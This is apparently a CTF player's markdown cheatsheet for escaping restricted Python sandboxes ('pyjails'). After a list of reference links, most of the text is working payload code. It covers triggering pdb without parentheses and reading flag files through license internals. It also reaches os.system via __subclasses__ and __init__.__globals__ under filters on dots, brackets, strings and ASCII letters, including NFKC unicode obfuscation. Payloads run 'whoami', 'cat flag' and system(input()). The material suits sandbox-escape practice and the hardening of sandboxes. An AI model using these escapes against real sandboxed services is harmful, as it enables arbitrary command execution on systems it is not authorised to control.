# pyjail cheatsheet ## Reference ### **Basics** - https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes - https://ctf-wiki.mahaloz.re/pwn/linux/sandbox/python-sandbox-escape/ - https://shirajuki.js.org/blog/pyjail-cheatsheet - https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec - https://scrapbox.io/satoooon-ctf-wiki/pyjail ### **NKFC** - https://satoooon1024.hatenablog.com/entry/2022/08/20/Python%E3%81%AE%E8%AD%98%E5%88%A5%E5%AD%90%E3%81%AB%E3%81%8A%E3%81%91%E3%82%8BUnicode%E6%AD%A3%E8%A6%8F%E5%8C%96%28NFKC%29%E3%81%A8pyjail - https://www.woodwhale.top/archives/hnctfj-ail-all-in-one # Exploits ## Techniques Execute pdb without parentheses ```python= [+help for help.__class__.__pos__ in [breakpoint]] [license for license._Printer__setup in [breakpoint]] ``` Execute pdb without parentheses and spaces ```python= help.__class__.__pos__=breakpoint;+help [[+help]for[help.__class__.__pos__]in[[breakpoint]]] ``` Cat without open, read ```python= license._Printer__filenames += ['./flag'] license._Printer__filenames.reverse() print(license) [license._Printer__filenames.insert(0, './flag'), print(license)] [license for license._Printer__filenames in [['/flag']]] ``` shell without call (os needed to be imported) ```python= class sh("sh", metaclass=os.execvpe): pass ``` % substitution converts %% into % ```python= "%%c %c"%0x41 # "%c A" (((('exec(%%%%%%%%%%%%%%%%c%%%%%%%%c%%%%c%%c%c())'%(0xe00%0xcc))%(0xeccce0%0xcecc))%(0xeec%0xce))%(0xeeee%0xc0))%(0xc0cecce%0xe0cc) # 'exec(ᵢnpᵤt())' ``` import only ```py from os import system as __getattr__; from __main__ import sh ``` enter REPL after exit (when temrinal is TTY) ```py= import os;os.environ['PYTHONINSPECT']='1' ``` ## No Number ```python! def symbolize(n: int): if n == 0: return '[]>[]' res = [] for i,v in enumerate(f'{n:b}'[::-1]): if v == '1': res.append('('+'<<'.join(['([[]]>[])']*(i+1))+')') return '+'.join(res) symbolize(0) # []<[] symbolize(10) # (([[]]>[])<<([[]]>[]))+(([[]]>[])<<([[]]>[])<<([[]]>[])<<([[]]>[])) ``` ## No Builtins, No Reserved Words Local: Identify Indexes **Must be the SAME python interpreter as the remote** ```python! # THe index of the element which has `__init__.__globals__` N1 = [i for i,e in enumerate(().__class__.__bases__[0].__subclasses__()) if 'read' in dir(e)][0] print(f"{N1=}\t(__init__.__globals__)") ``` Remote ```python! ().__class__.__base__.__subclasses__()[N1].__init__.__globals__['sys'].modules['os'].system('whoami') ``` ## No Dot ```python! getattr(getattr(getattr(getattr([e for e in getattr(getattr(getattr((),'_'+'_'+'c'+'l'+'a'+'s'+'s'+'_'+'_'), '_'+'_'+'b'+'a'+'s'+'e'+'s'+'_'+'_')[0], '_'+'_'+'s'+'u'+'b'+'c'+'l'+'a'+'s'+'s'+'e'+'s'+'_'+'_')() if 'r'+'e'+'a'+'d' in dir(e)][0], '_'+'_'+'i'+'n'+'i'+'t'+'_'+'_'), '_'+'_'+'g'+'l'+'o'+'b'+'a'+'l'+'s'+'_'+'_')['s'+'y'+'s'], 'm'+'o'+'d'+'u'+'l'+'e'+'s')['o'+'s'], 's'+'y'+'s'+'t'+'e'+'m')('whoami') ``` ## No [] Local: Identify Indexes **Must be the SAME python interpreter as the remote** ```python! # THe index of the element which has `__init__.__globals__` N1 = [i for i,e in enumerate(().__class__.__bases__[0].__subclasses__()) if 'r'+'e'+'a'+'d' in dir(e)][0] print(f"{N1=}\t(__init__.__globals__)") ``` Remote ```python! ().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(N1).__init__.__globals__.get('s'+'y'+'s').modules.get('o'+'s').system('whoami') ``` ## No String Local: Identify Indexes **Must be the SAME python interpreter as the remote** ```python! # THe index of the element which has `__init__.__globals__` N1 = [i for i,e in enumerate(().__class__.__bases__[0].__subclasses__()) if 'r'+'e'+'a'+'d' in dir(e)][0] # The index of `sys` N2 = [i for i,e in enumerate([*().__class__.__bases__[0].__subclasses__()[N1].__init__.__globals__.values()]) if '__name__' in dir(e) and e.__name__ == "sys"][0] # The index of `os` N3 = [i for i,e in enumerate([*[*().__class__.__bases__[0].__subclasses__()[N1].__init__.__globals__.values()][N2].modules.values()]) if '__name__' in dir(e) and e.__name__ == 'os'][0] # The index of `builtins` N4 = [i for i,e in enumerate([*().__class__.__bases__[0].__subclasses__()[N1].__init__.__globals__.values()]) if '__name__' in dir(e) and e.__name__ == "builtins"][0] print(f"{N1=}\t(__init__.__globals__)") print(f"{N2=}\t(sys)") print(f"{N3=}\t(os)") print(f"{N4=}\t(builtins)") ``` Remote ```py! exec = [*().__class__.__base__.__subclasses__()[N1].__init__.__globals__.values()][N4].exec input = [*().__class__.__base__.__subclasses__()[N1].__init__.__globals__.values()][N4].input system = [*[*().__class__.__bases__[0].__subclasses__()[N1].__init__.__globals__.values()][N2].modules.values()][N3].system chr = [*().__class__.__bases__[0].__subclasses__()[N1].__init__.__globals__.values()][N4].chr # Attack exec(input()) system(input()) # Attack (cat flag) system(chr(99)+chr(97)+chr(116)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103)) ``` ## No Alphabet Identifiers can use non-ASCII characters (Reserved words must be ASCII characters) ```python! def NKFCfy(s: str): dic = {'a': 'ª', 'b': 'ᵇ', 'c': 'ᶜ', 'd': 'ᵈ', 'e': 'ᵉ', 'f': 'ᶠ', 'g': 'ᵍ', 'h': 'ʰ', 'i': 'ⁱ', 'j': 'ʲ', 'k': 'ᵏ', 'l': 'ˡ', 'm': 'ᵐ', 'n': 'ⁿ', 'o': 'º', 'p': 'ᵖ', 'q': '𐞥', 'r': 'ʳ', 's': 'ˢ', 't': 'ᵗ', 'u': 'ᵘ', 'v': 'ᵛ', 'w': 'ʷ', 'x': 'ˣ', 'y': 'ʸ', 'z': 'ᶻ'} return ''.join([dic[e] if e.isalpha() and e.islower() else e for e in s]) ``` Local: Identify Indexes **Must be the SAME python interpreter as the remote** ```python! # THe index of the element which has `__init__.__globals__` N1 = [i for i,e in enumerate(().__class__.__bases__[0].__subclasses__()) if 'r'+'e'+'a'+'d' in dir(e)][0] # The index of `sys` N2 = [i for i,e in enumerate([*().__class__.__bases__[0].__subclasses__()[N1].__init__.__globals__.values()]) if '__name__' in dir(e) and e.__name__ == "sys"][0] # The index of `os` N3 = [i for i,e in enumerate([*[*().__class__.__bases__[0].__subclasses__()[N1].__init__.__globals__.values()][N2].modules.values()]) if '__name__' in dir(e) and e.__name__ == 'os'][0] # The index of `builtins` N4 = [i for i,e in enumerate([*().__class__.__bases__[0].__subclasses__()[N1].__init__.__globals__.values()]) if '__name__' in dir(e) and e.__name__ == "builtins"][0] ``` Remote ```python! # No Reserved Words, No String Exploit exploit = f'[*[*().__class__.__bases__[0].__subclasses__()[{N1}].__init__.__globals__.values()][{N2}].modules.values()][{N3}].system([*().__class__.__bases__[0].__subclasses__()[{N1}].__init__.__globals__.values()][{N4}].input([*().__class__.__bases__[0].__subclasses__()[{N1}].__init__.__globals__.values()][{N4}].chr(36)))' NKFCfy(exploit) # == [*[*().__ᶜˡªˢˢ__.__ᵇªˢᵉˢ__[0].__ˢᵘᵇᶜˡªˢˢᵉˢ__()[N1].__ⁱⁿⁱᵗ__.__ᵍˡºᵇªˡˢ__.ᵛªˡᵘᵉˢ()][N2].ᵐºᵈᵘˡᵉˢ.ᵛªˡᵘᵉˢ()][N3].ˢʸˢᵗᵉᵐ([*().__ᶜˡªˢˢ__.__ᵇªˢᵉˢ__[0].__ˢᵘᵇᶜˡªˢˢᵉˢ__()[N1].__ⁱⁿⁱᵗ__.__ᵍˡºᵇªˡˢ__.ᵛªˡᵘᵉˢ()][N4].ⁱⁿᵖᵘᵗ([*().__ᶜˡªˢˢ__.__ᵇªˢᵉˢ__[0].__ˢᵘᵇᶜˡªˢˢᵉˢ__()[N1].__ⁱⁿⁱᵗ__.__ᵍˡºᵇªˡˢ__.ᵛªˡᵘᵉˢ()][N4].ᶜʰʳ(36))) ``` ## gi_frame - https://pid-blog.com/article/frame-escape-pyjail - https://maplebacon.org/2024/02/dicectf2024-irs/ - https://blog.antoine.rocks/%F0%9F%91%A9%E2%80%8D%F0%9F%8F%ABwriteups/ictf%202024%20-%20all%20pyjails/ ## auddithook {%preview https://docs.python.org/3/library/audit_events.html#audit-events %}